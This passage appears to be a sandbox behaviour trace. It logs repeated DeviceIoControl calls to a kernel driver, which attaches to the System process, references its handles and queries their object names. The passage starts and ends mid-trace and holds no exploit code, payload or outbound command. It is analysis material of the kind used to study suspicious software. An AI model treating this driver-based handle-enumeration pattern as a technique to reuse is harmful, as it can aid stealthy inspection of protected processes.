ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.181] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f64f20, HandleInformation=0x0) returned 0x0 [0089.181] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.181] PsReleaseProcessExitSynchronization () returned 0x2 [0089.181] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.181] ObQueryNameString (in: Object=0xfffffa8002f64f20, ObjectNameInfo=0xfffffa8003a7d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.181] ObfDereferenceObject (Object=0xfffffa8002f64f20) returned 0x1 [0089.181] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.181] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.181] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.181] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0089.181] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.181] PsAcquireProcessExitSynchronization () returned 0x0 [0089.181] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.181] ObReferenceObjectByHandle (in: Handle=0xffffffff800003dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028dde80, HandleInformation=0x0) returned 0x0 [0089.181] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.181] PsReleaseProcessExitSynchronization () returned 0x2 [0089.181] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.181] ObQueryNameString (in: Object=0xfffffa80028dde80, ObjectNameInfo=0xfffffa8003a7e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.181] ObfDereferenceObject (Object=0xfffffa80028dde80) returned 0x2 [0089.181] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.181] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.181] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.181] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0089.181] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.181] PsAcquireProcessExitSynchronization () returned 0x0 [0089.181] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.182] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f69480, HandleInformation=0x0) returned 0x0 [0089.182] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.182] PsReleaseProcessExitSynchronization () returned 0x2 [0089.182] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.182] ObQueryNameString (in: Object=0xfffffa8002f69480, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.182] ObfDereferenceObject (Object=0xfffffa8002f69480) returned 0x2 [0089.182] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.182] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.182] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.182] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0089.182] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.182] PsAcquireProcessExitSynchronization () returned 0x0 [0089.182] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.182] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031dec90, HandleInformation=0x0) returned 0x0 [0089.182] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.182] PsReleaseProcessExitSynchronization () returned 0x2 [0089.182] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.182] ObQueryNameString (in: Object=0xfffffa80031dec90, ObjectNameInfo=0xfffffa8003a81044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a81044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.182] ObfDereferenceObject (Object=0xfffffa80031dec90) returned 0x1 [0089.182] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.182] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.182] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.182] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0089.182] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.182] PsAcquireProcessExitSynchronization () returned 0x0 [0089.182] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.182] ObReferenceObjectByHandle (in: Handle=0xffffffff800003ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031de700, HandleInformation=0x0) returned 0x0 [0089.182] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.182] PsReleaseProcessExitSynchronization () returned 0x2 [0089.182] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.182] ObQueryNameString (in: Object=0xfffffa80031de700, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.182] ObfDereferenceObject (Object=0xfffffa80031de700) returned 0x2 [0089.182] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.183] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.183] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.183] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0089.183] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.183] PsAcquireProcessExitSynchronization () returned 0x0 [0089.183] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.183] ObReferenceObjectByHandle (in: Handle=0xffffffff800003f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031f33b0, HandleInformation=0x0) returned 0x0 [0089.183] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.183] PsReleaseProcessExitSynchronization () returned 0x2 [0089.183] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.183] ObQueryNameString (in: Object=0xfffffa80031f33b0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.183] ObfDereferenceObject (Object=0xfffffa80031f33b0) returned 0x2 [0089.183] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.183] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.183] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.183] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0089.183] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.183] PsAcquireProcessExitSynchronization () returned 0x0 [0089.183] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.183] ObReferenceObjectByHandle (in: Handle=0xffffffff800003fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031de920, HandleInformation=0x0) returned 0x0 [0089.183] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.183] PsReleaseProcessExitSynchronization () returned 0x2 [0089.183] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.183] ObQueryNameString (in: Object=0xfffffa80031de920, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.183] ObfDereferenceObject (Object=0xfffffa80031de920) returned 0x1 [0089.183] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.183] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.183] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.183] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0089.183] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.183] PsAcquireProcessExitSynchronization () returned 0x0 [0089.183] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.183] ObReferenceObjectByHandle (in: Handle=0xffffffff80000404, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f649e0, HandleInformation=0x0) returned 0x0 [0089.184] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.184] PsReleaseProcessExitSynchronization () returned 0x2 [0089.184] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.184] ObQueryNameString (in: Object=0xfffffa8002f649e0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.184] ObfDereferenceObject (Object=0xfffffa8002f649e0) returned 0x1 [0089.184] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.184] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.184] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.184] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0089.184] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.184] PsAcquireProcessExitSynchronization () returned 0x0 [0089.184] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.184] ObReferenceObjectByHandle (in: Handle=0xffffffff80000408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800bbffc60, HandleInformation=0x0) returned 0x0 [0089.184] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.184] PsReleaseProcessExitSynchronization () returned 0x2 [0089.184] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.184] ObQueryNameString (in: Object=0xfffffa800bbffc60, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.184] ObfDereferenceObject (Object=0xfffffa800bbffc60) returned 0x1 [0089.184] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.184] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.184] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.184] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0089.184] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.184] PsAcquireProcessExitSynchronization () returned 0x0 [0089.184] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.184] ObReferenceObjectByHandle (in: Handle=0xffffffff8000040c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031f4dc0, HandleInformation=0x0) returned 0x0 [0089.184] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.184] PsReleaseProcessExitSynchronization () returned 0x2 [0089.184] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.184] ObQueryNameString (in: Object=0xfffffa80031f4dc0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.185] ObfDereferenceObject (Object=0xfffffa80031f4dc0) returned 0x2 [0089.185] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.185] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.185] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.185] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0089.185] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.185] PsAcquireProcessExitSynchronization () returned 0x0 [0089.185] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.185] ObReferenceObjectByHandle (in: Handle=0xffffffff80000410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031f38a0, HandleInformation=0x0) returned 0x0 [0089.185] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.185] PsReleaseProcessExitSynchronization () returned 0x2 [0089.185] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.185] ObQueryNameString (in: Object=0xfffffa80031f38a0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.185] ObfDereferenceObject (Object=0xfffffa80031f38a0) returned 0x2 [0089.185] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.185] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.185] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.185] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0089.185] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.185] PsAcquireProcessExitSynchronization () returned 0x0 [0089.185] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.185] ObReferenceObjectByHandle (in: Handle=0xffffffff80000418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031f35f0, HandleInformation=0x0) returned 0x0 [0089.185] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.185] PsReleaseProcessExitSynchronization () returned 0x2 [0089.185] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.340] ObQueryNameString (in: Object=0xfffffa80031f35f0, ObjectNameInfo=0xfffffa8003aaf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003aaf044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.340] ObfDereferenceObject (Object=0xfffffa80031f35f0) returned 0x1 [0089.340] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.340] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.340] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.340] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0089.340] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.340] PsAcquireProcessExitSynchronization () returned 0x0 [0089.340] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.340] ObReferenceObjectByHandle (in: Handle=0xffffffff8000041c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031f4850, HandleInformation=0x0) returned 0x0 [0089.340] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.340] PsReleaseProcessExitSynchronization () returned 0x2 [0089.341] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.341] ObQueryNameString (in: Object=0xfffffa80031f4850, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.341] ObfDereferenceObject (Object=0xfffffa80031f4850) returned 0x2 [0089.341] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.341] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.341] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.341] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.341] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.341] PsAcquireProcessExitSynchronization () returned 0x0 [0089.341] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.341] ObReferenceObjectByHandle (in: Handle=0xffffffff80000498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032afae0, HandleInformation=0x0) returned 0x0 [0089.341] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.341] PsReleaseProcessExitSynchronization () returned 0x2 [0089.341] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.341] ObQueryNameString (in: Object=0xfffffa80032afae0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.341] ObfDereferenceObject (Object=0xfffffa80032afae0) returned 0x1 [0089.341] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.341] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.341] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.341] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.341] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.342] PsAcquireProcessExitSynchronization () returned 0x0 [0089.342] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.342] ObReferenceObjectByHandle (in: Handle=0xffffffff800004a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032a53f0, HandleInformation=0x0) returned 0x0 [0089.342] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.342] PsReleaseProcessExitSynchronization () returned 0x2 [0089.342] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.342] ObQueryNameString (in: Object=0xfffffa80032a53f0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.342] ObfDereferenceObject (Object=0xfffffa80032a53f0) returned 0x1 [0089.342] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.342] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.342] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.342] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0089.342] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.342] PsAcquireProcessExitSynchronization () returned 0x0 [0089.342] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.342] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003435920, HandleInformation=0x0) returned 0x0 [0089.342] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.342] PsReleaseProcessExitSynchronization () returned 0x2 [0089.342] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.342] ObQueryNameString (in: Object=0xfffffa8003435920, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.342] ObfDereferenceObject (Object=0xfffffa8003435920) returned 0x2 [0089.342] 